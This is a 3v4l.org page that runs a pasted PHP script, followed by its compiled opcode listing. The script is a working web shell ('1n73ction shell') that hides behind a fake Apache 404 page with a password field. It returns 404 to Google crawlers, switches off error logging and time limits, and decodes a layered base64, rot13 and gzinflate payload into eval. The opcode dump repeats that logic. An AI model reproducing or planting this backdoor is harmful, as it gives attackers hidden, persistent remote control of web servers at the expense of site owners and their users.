3v4l.org

run code in 300+ PHP versions simultaneously
<?php /* (1n73ction shell v3.1 by x'1n73ct|default pass:" 1n73ction ") */ $auth_pass = "cfbd3297fd15c30e953a6813b5017ee8"; $color = "#00ff00"; $default_action = 'FilesMan'; @define('SELF_PATH', __FILE__); if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) { header('HTTP/1.0 404 Not Found'); exit; } @session_start(); @error_reporting(0); @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('max_execution_time',0); @ini_set('output_buffering',0); @ini_set('display_errors', 0); @set_time_limit(0); @set_magic_quotes_runtime(0); @define('VERSION', '2.1'); if( get_magic_quotes_gpc() ) { function stripslashes_array($array) { return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array); } $_POST = stripslashes_array($_POST); } function printLogin() { ?> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache Server at <?=$_SERVER['HTTP_HOST']?> Port 80</address> <style> input { margin:0;background-color:#fff;border:1px solid #fff; } </style> <center> <form method=post> <input type=password name=pass> </form></center> <?php exit; } if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] )) if( empty( $auth_pass ) || ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) ) $_SESSION[md5($_SERVER['HTTP_HOST'])] = true; else printLogin(); @ini_set('output_buffering',0); @ini_set('display_errors', 0); function x($inject){eval("\$z=gz" . "inf" . "la" . "te(s" . "t" . "r_r" . "ot" . "13(ba" . "se" . "6" . "4" . "_" . "d" . "e" . "c" . "o" . "de(st" . "r" . "_" . "r" . "o" . "t" . "13(" . "gzi" . "nf" . "lat" . "e(" . "bas" . "e6" . "4_d" . "ec" . "ode(\$inject))))));eval(\$z);");} x("DczdFkIwAADgB3Kx4+f4uehiJyJFM0bcjYPKqGbFPH19D/Adch2iLn+Qan8XlupmvkrlMEVX3NtyDS2gc9nTGF4X0yHDKSAFnPHHOkwhFNw5v0XIqMdyAylyc5r0ReRkzlhmX8y5Fizfz5rpiQsaz7jdWXZDUbJdcN2KqfRPLWnrJ6t88P9SpB5TNIws6KCxxSXvo3EugK2kQKNA2M66mLG72/0A"); ?>
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 17, Position 2 = 21
Branch analysis from position: 17
1 jumps found. (Code = 79) Position 1 = -2
Branch analysis from position: 21
2 jumps found. (Code = 43) Position 1 = 79, Position 2 = 87
Branch analysis from position: 79
2 jumps found. (Code = 43) Position 1 = 96, Position 2 = 121
Branch analysis from position: 96
2 jumps found. (Code = 47) Position 1 = 98, Position 2 = 109
Branch analysis from position: 98
2 jumps found. (Code = 46) Position 1 = 101, Position 2 = 108
Branch analysis from position: 101
2 jumps found. (Code = 43) Position 1 = 110, Position 2 = 119
Branch analysis from position: 110
1 jumps found. (Code = 42) Position 1 = 121
Branch analysis from position: 121
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 119
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 108
Branch analysis from position: 109
Branch analysis from position: 121
Branch analysis from position: 87
filename:       /in/AoruT
function name:  (null)
number of ops:  137
compiled vars:  !0 = $auth_pass, !1 = $color, !2 = $default_action
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    3     0  E >   ASSIGN                                                   !0, 'cfbd3297fd15c30e953a6813b5017ee8'
    4     1        ASSIGN                                                   !1, '%2300ff00'
    5     2        ASSIGN                                                   !2, 'FilesMan'
    6     3        BEGIN_SILENCE                                    ~6      
          4        INIT_FCALL                                               'define'
          5        SEND_VAL                                                 'SELF_PATH'
          6        SEND_VAL                                                 '%2Fin%2FAoruT'
          7        DO_ICALL                                                 
          8        END_SILENCE                                              ~6
    7     9        INIT_FCALL                                               'strpos'
         10        FETCH_R                      global              ~8      '_SERVER'
         11        FETCH_DIM_R                                      ~9      ~8, 'HTTP_USER_AGENT'
         12        SEND_VAL                                                 ~9
         13        SEND_VAL                                                 'Google'
         14        DO_ICALL                                         $10     
         15        TYPE_CHECK                                  1018          $10
         16      > JMPZ                                                     ~11, ->21
    8    17    >   INIT_FCALL                                               'header'
         18        SEND_VAL                                                 'HTTP%2F1.0+404+Not+Found'
         19        DO_ICALL                                                 
    9    20      > EXIT                                                     
   11    21    >   BEGIN_SILENCE                                    ~13     
         22        INIT_FCALL                                               'session_start'
         23        DO_ICALL                                                 
         24        END_SILENCE                                              ~13
   12    25        BEGIN_SILENCE                                    ~15     
         26        INIT_FCALL                                               'error_reporting'
         27        SEND_VAL                                                 0
         28        DO_ICALL                                                 
         29        END_SILENCE                                              ~15
   13    30        BEGIN_SILENCE                                    ~17     
         31        INIT_FCALL                                               'ini_set'
         32        SEND_VAL                                                 'error_log'
         33        SEND_VAL                                                 null
         34        DO_ICALL                                                 
         35        END_SILENCE                                              ~17
   14    36        BEGIN_SILENCE                                    ~19     
         37        INIT_FCALL                                               'ini_set'
         38        SEND_VAL                                                 'log_errors'
         39        SEND_VAL                                                 0
         40        DO_ICALL                                                 
         41        END_SILENCE                                              ~19
   15    42        BEGIN_SILENCE                                    ~21     
         43        INIT_FCALL                                               'ini_set'
         44        SEND_VAL                                                 'max_execution_time'
         45        SEND_VAL                                                 0
         46        DO_ICALL                                                 
         47        END_SILENCE                                              ~21
   16    48        BEGIN_SILENCE                                    ~23     
         49        INIT_FCALL                                               'ini_set'
         50        SEND_VAL                                                 'output_buffering'
         51        SEND_VAL                                                 0
         52        DO_ICALL                                                 
         53        END_SILENCE                                              ~23
   17    54        BEGIN_SILENCE                                    ~25     
         55        INIT_FCALL                                               'ini_set'
         56        SEND_VAL                                                 'display_errors'
         57        SEND_VAL                                                 0
         58        DO_ICALL                                                 
         59        END_SILENCE                                              ~25
   18    60        BEGIN_SILENCE                                    ~27     
         61        INIT_FCALL                                               'set_time_limit'
         62        SEND_VAL                                                 0
         63        DO_ICALL                                                 
         64        END_SILENCE                                              ~27
   19    65        BEGIN_SILENCE                                    ~29     
         66        INIT_FCALL_BY_NAME                                       'set_magic_quotes_runtime'
         67        SEND_VAL_EX                                              0
         68        DO_FCALL                                      0          
         69        END_SILENCE                                              ~29
   20    70        BEGIN_SILENCE                                    ~31     
         71        INIT_FCALL                                               'define'
         72        SEND_VAL                                                 'VERSION'
         73        SEND_VAL                                                 '2.1'
         74        DO_ICALL                                                 
         75        END_SILENCE                                              ~31
   21    76        INIT_FCALL_BY_NAME                                       'get_magic_quotes_gpc'
         77        DO_FCALL                                      0  $33     
         78      > JMPZ                                                     $33, ->87
   22    79    >   DECLARE_FUNCTION                                         'stripslashes_array'
   25    80        INIT_FCALL_BY_NAME                                       'stripslashes_array'
         81        CHECK_FUNC_ARG                                           
         82        FETCH_FUNC_ARG               global              $35     '_POST'
         83        SEND_FUNC_ARG                                            $35
         84        DO_FCALL                                      0  $36     
         85        FETCH_W                      global              $34     '_POST'
         86        ASSIGN                                                   $34, $36
   43    87    >   INIT_FCALL                                               'md5'
         88        FETCH_R                      global              ~39     '_SERVER'
         89        FETCH_DIM_R                                      ~40     ~39, 'HTTP_HOST'
         90        SEND_VAL                                                 ~40
         91        DO_ICALL                                         $41     
         92        FETCH_IS                                         ~38     '_SESSION'
         93        ISSET_ISEMPTY_DIM_OBJ                         0  ~42     ~38, $41
         94        BOOL_NOT                                         ~43     ~42
         95      > JMPZ                                                     ~43, ->121
   44    96    >   ISSET_ISEMPTY_CV                                 ~44     !0
         97      > JMPNZ_EX                                         ~44     ~44, ->109
   45    98    >   FETCH_IS                                         ~45     '_POST'
         99        ISSET_ISEMPTY_DIM_OBJ                         0  ~46     ~45, 'pass'
        100      > JMPZ_EX                                          ~46     ~46, ->108
        101    >   INIT_FCALL                                               'md5'
        102        FETCH_R                      global              ~47     '_POST'
        103        FETCH_DIM_R                                      ~48     ~47, 'pass'
        104        SEND_VAL                                                 ~48
        105        DO_ICALL                                         $49     
        106        IS_EQUAL                                         ~50     !0, $49
        107        BOOL                                             ~46     ~50
        108    >   BOOL                                             ~44     ~46
        109    > > JMPZ                                                     ~44, ->119
   46   110    >   INIT_FCALL                                               'md5'
        111        FETCH_R                      global              ~52     '_SERVER'
        112        FETCH_DIM_R                                      ~53     ~52, 'HTTP_HOST'
        113        SEND_VAL                                                 ~53
        114        DO_ICALL                                         $54     
        115        FETCH_W                      global              $51     '_SESSION'
        116        ASSIGN_DIM                                               $51, $54
        117        OP_DATA                                                  <true>
        118      > JMP                                                      ->121
   48   119    >   INIT_FCALL                                               'printlogin'
        120        DO_FCALL                                      0          
   49   121    >   BEGIN_SILENCE                                    ~57     
        122        INIT_FCALL                                               'ini_set'
        123        SEND_VAL                                                 'output_buffering'
        124        SEND_VAL                                                 0
        125        DO_ICALL                                                 
        126        END_SILENCE                                              ~57
   50   127        BEGIN_SILENCE                                    ~59     
        128        INIT_FCALL                                               'ini_set'
        129        SEND_VAL                                                 'display_errors'
        130        SEND_VAL                                                 0
        131        DO_ICALL                                                 
        132        END_SILENCE                                              ~59
   52   133        INIT_FCALL                                               'x'
        134        SEND_VAL                                                 'DczdFkIwAADgB3Kx4%2Bf4uehiJyJFM0bcjYPKqGbFPH19D%2FAdch2iLn%2BQan8XlupmvkrlMEVX3NtyDS2gc9nTGF4X0yHDKSAFnPHHOkwhFNw5v0XIqMdyAylyc5r0ReRkzlhmX8y5Fizfz5rpiQsaz7jdWXZDUbJdcN2KqfRPLWnrJ6t88P9SpB5TNIws6KCxxSXvo3EugK2kQKNA2M66mLG72%2F0A'
        135        DO_FCALL                                      0          
   53   136      > RETURN                                                   1

Function %00stripslashes_array%2Fin%2FAoruT%3A22%240:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 3, Position 2 = 9
Branch analysis from position: 3
1 jumps found. (Code = 42) Position 1 = 13
Branch analysis from position: 13
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 9
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/AoruT
function name:  stripslashes_array
number of ops:  15
compiled vars:  !0 = $array
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   22     0  E >   RECV                                             !0      
   23     1        TYPE_CHECK                                  128          !0
          2      > JMPZ                                                     ~1, ->9
          3    >   INIT_FCALL                                               'array_map'
          4        SEND_VAL                                                 'stripslashes_array'
          5        SEND_VAR                                                 !0
          6        DO_ICALL                                         $2      
          7        QM_ASSIGN                                        ~3      $2
          8      > JMP                                                      ->13
          9    >   INIT_FCALL                                               'stripslashes'
         10        SEND_VAR                                                 !0
         11        DO_ICALL                                         $4      
         12        QM_ASSIGN                                        ~3      $4
         13    > > RETURN                                                   ~3
   24    14*     > RETURN                                                   null

End of function %00stripslashes_array%2Fin%2FAoruT%3A22%240

Function printlogin:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 79) Position 1 = -2
filename:       /in/AoruT
function name:  printLogin
number of ops:  7
compiled vars:  none
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   29     0  E >   ECHO                                                     '%3Ch1%3ENot+Found%3C%2Fh1%3E%0A%3Cp%3EThe+requested+URL+was+not+found+on+this+server.%3C%2Fp%3E%0A%3Chr%3E%0A%3Caddress%3EApache+Server+at+'
   32     1        FETCH_R                      global              ~0      '_SERVER'
          2        FETCH_DIM_R                                      ~1      ~0, 'HTTP_HOST'
          3        ECHO                                                     ~1
          4        ECHO                                                     '+Port+80%3C%2Faddress%3E%0A%3Cstyle%3E%0Ainput+%7B+margin%3A0%3Bbackground-color%3A%23fff%3Bborder%3A1px+solid+%23fff%3B+%7D%0A%3C%2Fstyle%3E%0A%3Ccenter%3E%0A%3Cform+method%3Dpost%3E%0A%3Cinput+type%3Dpassword+name%3Dpass%3E%0A%3C%2Fform%3E%3C%2Fcenter%3E%0A'
   41     5      > EXIT                                                     
   42     6*     > RETURN                                                   null

End of function printlogin

Function x:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/AoruT
function name:  x
number of ops:  3
compiled vars:  !0 = $inject
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   51     0  E >   RECV                                             !0      
          1        INCLUDE_OR_EVAL                                          '%24z%3Dgzinflate%28str_rot13%28base64_decode%28str_rot13%28gzinflate%28base64_decode%28%24inject%29%29%29%29%29%29%3Beval%28%24z%29%3B', EVAL
          2      > RETURN                                                   null

End of function x

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
169.44 ms | 1415 KiB | 38 Q